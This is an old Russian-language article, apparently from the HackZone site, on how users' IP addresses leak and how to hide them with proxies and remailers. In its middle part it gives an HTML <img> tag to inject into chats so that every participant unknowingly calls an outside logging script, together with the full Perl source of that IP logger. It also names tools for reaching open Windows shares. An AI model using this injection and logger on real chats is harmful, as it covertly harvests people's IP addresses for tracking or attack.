| 
      IP адрес: определение и сокрытие
       Как известно, Internet основана на семействе протоколов 
      tcp/ip, определяющих, каким образом осуществляется взаимодействие между 
      подключенными к сети компьютерами. Идентификация этих компьютеров 
      осуществляется с помощью так называемых IP-адресов, каждый из которых 
      представляет собой уникальный 32-битный идентификатор, обычно записываемый 
      в виде четырех десятичных чисел, напрмер, 192.168.0.1. И с точки зрения 
      адресации сервер, обрабатывающий ежесекундно тысячи запросов практически 
      ничем не отличается от вашего компьютера, подключаемого к сети по dial-up. 
      Единственная разница - домашний пользователь, как правило, получает так 
      называемый динамический ip-адрес, меняющийся от подключения к подключению. 
       В то время как адрес сервера должен быть доступен всем 
      клиентам, желающим воспользоваться его услугами, клиент вовсе не обязан 
      афишировать свой адрес на каждом углу. Более того, обнародование ip-адреса 
      может привести к весьма серьезным последствиям.  Что можно сделать с человеком, зная его ip-адрес ? Ну, 
      например, если на его машине с Windows'95 живет NetBIOS over IP, и 
      разделены для доступа по сети, да еще и без паролей, некоторые диски, то 
      довольно много :) (для заинтересовавшихся - помочь здесь могут nbtstat, 
      lmhosts и net use). Правда это не слишком часто встречается у dial-up 
      пользователей. Другой пример - в прошлом году были найдены дыры в IE и NN, 
      позволяющие получить доступ к файлам клиента. Дырки те, правда, уже 
      прикрыли, но кто знает, сколько их еще осталось.  До сих пор пользуются популярностью в определенных кругах 
      программы, объединяемые общим названием (восходящего к первой 
      программе этого класса - Winnuke), которые осуществляют атаки типа Denial 
      of Service, приводящие к зависанию или отключению от сети атакуемого 
      компьютера.  Нежно любимая миллионами пользователей ICQ 
      (http://www.icq.com) тоже оказалась не без греха. На странице Fyodor's 
      Exploit world (http://www.dhp.com/~fyodor/sploits.html) 
      помимо прочего приведена информация о слабостях ICQ-шного протокола (http://www.dhp.com/~fyodor/sploits/icq.spoof.overflow.seq.html), 
      которые уже позволили создать многочисленные программы, делающие жизнь 
      пользователя ICQ не слишком пресной. Так, например, на странице ICQ 
      Snoofer Team (http://const.ricor.ru/~icq/) 
      предлагается опробовать программу, позволяющую слать сообщения по ICQ с 
      чужого UIN. Snoofer существует в двух вариантах - в виде скрипта, 
      доступного со страницы, и в виде программы, которую обещают рассылать по 
      почте. Для его использования достаточно знать ip-адрес адресата, номер 
      порта, на котором висит ICQ, и UIN отправителя. Инструкция прилагается. 
       Впрочем, все эти веселые программы пригодны в основном для 
      деструктивной деятельности, особого смысла в которой я не вижу (кстати, 
      запущенное на нашем сервере голосование по поводу "нюков" показало, что 
      большинство посетителей со мной солидарно).  Посмотрим, какие действия можно предпринять для определения 
      и скрытия ip-адреса.  Абсолютных рецептов конечно не существует, можно говорить 
      лишь о наиболее распространенных случаях. Вообще говоря, ваш IP-адрес 
      может засветиться в огромном количестве мест. Другое дело - как его потом 
      оттуда вытащить. Скажем, ваш любимый броузер при заходе на любую страницу 
      сообщает о себе достоточно много информации.  В качестве простой демонстрации приведу скрипт на Perl'е, 
      выводящий основную информацию о посетителе страницы:  Листинг 1. showuser.pl #!/usr/bin/perl
print ("Content-type: text/htmlnn");
@ee=(
  "CHARSET",
  "HTTP_USER_AGENT",
  "HTTP_REFERER",
  "REMOTE_ADDR",
  "REMOTE_HOST"
);
foreach $e(@ee)
{
  print "<b>$e</b>: $ENV{$e}<br>n";
} Вообще-то это самый безобидный случай обнародования 
      ip-адреса (разве что если допустить злой умысел веб-мастера, установившего 
      скрипт, атакующий посетителя, но вероятность целенаправленной атаки 
      ничтожно мала).  IP-адрес отправителя можно вытащить из заголовка полученной 
      электронной почты (Скорее всего, он будет лежать в последнем поле 
      Received:, в отличие от поля From: его подделать чуть сложнее). Если у вас 
      динамически выделяемый адрес, то подобная ситуация не слишком опасна. 
      Хуже, если адрес постоянный, что, правда, встречается пореже.  Самыми опасными с точки зрения обнародования ip-адреса 
      оказываются всевозможные системы для интерактивного общения - IRC 
      (командой /whois), InternetPhone, ICQ и т.д. Справедливости ради надо 
      заметить, что некоторые из них пытаются прикрыть адрес пользователя 
      (скажем, в MS Comic Chat показывается только часть адреса, в ICQ'98 
      появилась возможность скрытия своего адреса, не слишком правда хорошо 
      работающая при общении со старыми версиями), но в большинстве систем адрес 
      лежит совершенно открыто. Что же касается html-чатов, здесь все зависит от 
      желания разработчика, принципиальная возможность показа ip-адреса 
      существует, как это было продемонстрировано чуть выше.  Идея следующая: если в чате разрешен ввод тегов html, никто 
      не помешает вставить в свое сообщение что-то типа <img 
      src="http://www.mysite.com/cgi-bin/sniffer.cgi"> В итоге все 
      присутствующие в чате (даже не зарегистрировавшиеся) будут, сами того не 
      ведая, вызывать скрипт sniffer.cgi. Ну а остальное уже дело техники, 
      реализация подобного скрипта на Perl'е, ведущего лог всех обращений, 
      займет несколько строчек. Демонстрационный вариант этого скрипта доступен 
      на http://www.hackzone.ru/cgi-bin/sniffer.cgi. 
       Способ применения очень прост - вы вставляете в свое 
      сообщение текст наподобие следующего:  <img src=http://www.hackzone.ru/cgi-bin/sniff.cgi?id>, 
      где id - идентификатор канала (помогает не запутаться при использовании 
      скрипта на разных чатах разными людьми).  Если этот чат поддерживает вставку html-тегов, то скорее 
      всего вы увидите анимированный логотип HackZone. Все, что теперь осталось 
      - просмотреть лог (http://www.hackzone.ru/files/snifflog.txt), 
      в который пишется дата обращения к скрипту, ip-адрес и идентификатор 
      id. Речь идет о демонстрации, в логе хранятся только 30 
      последних записей.  #!/usr/bin/perl $log = "/local/path/on/your/server/snifflog.txt";  $now_string = localtime; @thetime = split(/ +/,$now_string); @theclock = split(/:/,$thetime[3]); $ampm = 'am';  if ($theclock[0] > 11)  { $ampm = 'pm'; }  if ($theclock[0] == 0) { $theclock[0] = 12; } if ($theclock[0] > 12) { $theclock[0] -= 12; } else { $theclock[0] += 0; } $lnum=$ENV{'QUERY_STRING'};  open (DB, "$log") || die "Can't Open $log: $!n";  flock(DB, 2);  @line=<DB>;  flock(DB, 8);  close(DB); $line0="[$thetime[0] $theclock[0]:$theclock[1]$ampm] 
      (".$lnum.") ". $ENV{REMOTE_ADDR}." ".$ENV{REMOTE_HOST};  $maxline=@line;  $maxline=30 if ($maxline>30);  open (DB, ">$log") || die "Can't Open $log: $!n";  flock(DB, 2);  print DB ("$line0n");  for ($i=0; $i<$maxline; $i++)  { print DB ("$line[$i]");  } flock(DB, 8);  close(DB);  print "Location: 
      http://www.hackzone.ru/images/hz_animated.gifnn";  Теперь немного о том, как же защититься от всего этого 
      безобразия. Самый простой способ прикрыться при прогулках по Web - 
      воспользоваться proxy либо службой наподобие Anonymizer, Inc. (http://sol.infonex.com/). Принцип их 
      работы аналогичен - вы напрямую общаетесь только с proxy-сервером, а 
      черную работу по заходу на сайты он делает за вас.  Если вас все-таки волнует проблема с обнаружением своего 
      ip-адреса при использовании e-mail, вы можете воспользоваться службой того 
      же Anonymizer'а для отправления писем через web (https://www.anonymizer.com/), либо 
      каким-нибудь анонимным ремэйлером (http://www.replay.com/remailer/). 
       Хуже всего дело обстоит с чатами. Проблема в том, что если 
      найти какой-нибудь левый прокси для www достаточно легко, подобный сервис 
      для irc, icq и иже с ними встречается, мягко говоря, очень редко и для 
      простого dialup-пользователя практически недоступен. Именно поэтому 
      большая часть средств для атаки по ip заточена под всевозможные 
      irc-клиенты. Так что бороться тут можно лишь двумя способами. Самый 
      надежный - не использовать их вообще :) Более реалистичный - бороться не с 
      причиной, а со следствиями - разыскать свежайшие заплаты и надеяться, что 
      против вашей брони еще не изобрели подходящей пушки. 
 |